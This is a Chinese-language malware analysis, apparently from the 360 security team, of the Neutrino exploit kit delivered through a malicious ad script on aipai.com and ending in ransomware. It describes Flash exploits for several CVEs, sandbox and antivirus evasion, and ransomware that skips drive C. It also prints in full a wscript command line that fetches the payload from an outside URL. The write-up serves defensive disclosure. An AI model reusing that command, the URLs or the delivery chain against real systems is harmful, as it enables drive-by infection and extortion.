EK(Exploit kits)主要是利用漏洞挂马的黑客工具包,目前流行的EK大多被用于传播敲诈者病毒。但以往国外的EK很少在国内出现,这一方面是由于这些EK的网址难以访问,另一方面也是国内用户为敲诈者病毒支付比特币赎金的难度较高,不容易产生“收益”。不过就在最近,360安全团队检测到在爱拍网(aipai.com)上出现国外攻击包挂马传播敲诈者病毒的情况,这就是著名的NeutrinoEK。
在访问爱拍网时,会经常通过 hxxp://apas.aipai.com/www/delivery/ajs.php
随机加载广告js脚本,而这个js就是一切的罪魁祸首。一旦返回的脚本是 hxxp://if.eagleholic.com/decreased/satisfactory/header.js
,就会加载NeutrinoEK的着陆页面。
图1 ajs.php随机加载js
可能是NeutrinoEK的自身安全防范机制,或者是网络原因,这个js脚本并不是每次都能打开,经常打开得到的是空内容或者404,但是偶尔一次获取内容成功,则就进入到了NeutrinoEK的攻击范围中。
图2 嵌入NeutrinoEK的iframe
获取的js脚本会自动在当前页面中嵌入一个iframe,加载NeutrinoEK的网址,这个网址基本都是一次性的,访问过后会很快发生变更,因此目前再次访问该页面,已经无法重现。
图3 NeutrinoEK着陆页
不同于其他EK攻击包,NeutrinoEK的页面非常简洁,仅仅是简单的加载了一个Flash,这个Flash功能非常强大,能够进行版本判定,检测一些自动化测试环境,针对不同的IE和Flash版本运行对应的漏洞利用代码。
这个得到的Flash只是一个加密外壳,真正的攻击代码Flash需要解密后才能看到,在反编译得到的代码中含有大量的垃圾代码,干扰分析。经过整理后,可以发现解密算法是RC4,解密密钥存储在一个binaryData结构中。随着后续代码分析的深入,我们可以发现NeutrinoEK所使用的所有加解密算法都是RC4,并且解密密钥都相对较短。
图4 下载得到的Flash
外壳Flash会将多个binaryData合并在一起,解密得到第二个Falsh文件,然后加载这个Flash,并且向其传递同样由BinaryData解密出来的运行配置信息。解密的Flash则会首先会加载js脚本,使用res协议进行一些安全软件和虚拟机探测操作。
图5 检测杀软和虚拟机
图6 加载不同漏洞脚本
然后根据系统IE/Flash的版本探测结果,释放加载不同的html/VBScript和Flash用于攻击。这些攻击代码仍然是通过RC4加密后存储在binaryData字段中,Html代码为了减少文件大小,都被压缩过。对于释放出来的Flash,则通过SharedObject的方法,将payload的相关参数传递进去。
经过进一步的解密分析,主要利用到的漏洞编号如下:
图7 CVE-2016-0189代码
图8 CVE-2014-6332代码
图9 CVE-2015-8651代码
图10 CVE-2016-1019代码
图11 CVE-2016-4117代码
加载的Flash通过同时利用上述漏洞,达到最终执行shellcode的目的,shellcode主要功能是释放了一个js文件,并调用wscript执行该文件,执行的命令行如下:
#!powershell wscript.exe //B //E:JScript "C:/Users/pc/AppData/Local/Temp/Ogoss3df.dat" "nygqmtbwlr" "http://pompeijverblik.paydayloan.uk.com/jewel/health-39224276" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; .NET4.0C; .NET4.0E)"
图12 Flash释放出的js文件
这个js文件是加密混淆过的一段很短小的代码,脚本运行时的参数功能分别是payload的下载网址,解密密钥,下载使用的UserAgent。而下载的程序则要进行解密,才得到最终被执行的PE程序。最终js脚本会调用regsvr32去注册被解密的PE程序,通过这种方法最终使PE程序执行起来,这个PE文件不出意外的是一个敲诈者病毒。
图13 js脚本三个启动参数的使用场景
图14 js脚本下载回来的待解密数据
图15 解密后的完整PE文件
图16 js脚本调用regsvr32通过注册控件的方式运行解密后的PE程序
PE虽然被解密出来,但文件中依然含有大量的垃圾指令来干扰分析。该程序首先会通过发起网络请求来获取敲诈信息和加密密钥PAB.KEY。
图17 根据包的第一字节返回数据
图18 写入下载回来的敲诈信息和加密密钥
然后进行加密操作,这个敲诈者程序很聪明的回避了比较敏感的系统盘符,而只加密其他盘符下的文件,用以避开安全软件的监控。而加密的扩展名也是从一长串可选的扩展名中选取的。
图19 跳过C盘而只对其他盘文件进行加密
图20 木马程序识别的待加密文件扩展名
被加密后的文件分为两部分,第一部分是PAB.KEY中的内容,第二部分是文件被加密后的内容。
图21 被加密文件格式
最终,用户被敲诈2.4 BTC,现在比特币价格波动较大,仅参考写本文时的价格来看,2.4 BTC约合人民币10000元左右,也算是价格不菲了。
图22 加密完成后桌面背景被篡改
图23 根据提示找到付费页面
整个过程分析下来,不难发现NeutrinoEK是目前流行的水平较高的攻击包,所有数据都经过加密,一层套一层,js代码都经过了一定的混淆,释放的敲诈者也采用了多种诡计躲避分析,处处透露着与杀软和分析人员的对抗,具备较高的分析难度;同时采用多个漏洞攻击,代码技术水平高,挂马成功率高,危害大。
爱拍网具有较大的访问量,但是所幸用户触发挂马的概率比较低,未能造成大范围的感染。鉴于敲诈者病毒加密后的文件几乎不可恢复,给受害者造成的损失巨大,希望相关网站能够严格审核广告,避免对网站用户造成危害。
图24 360拦截Flash漏洞利用攻击(基于Fiddler数据重放)
目前针对Flash的漏洞利用层出不穷,各个EK工具包也采用了多种加密混淆手段躲避杀毒软件的静态扫描,因此较难防御,对此360安全卫士及浏览器使用QEX引擎静态扫描功能,并结合动态拦截技术阻止各种Flash漏洞攻击,更加有效的保卫用户电脑。同时也建议用户及时升级Adobe Flash Player的版本,加强系统对已知漏洞的免疫力。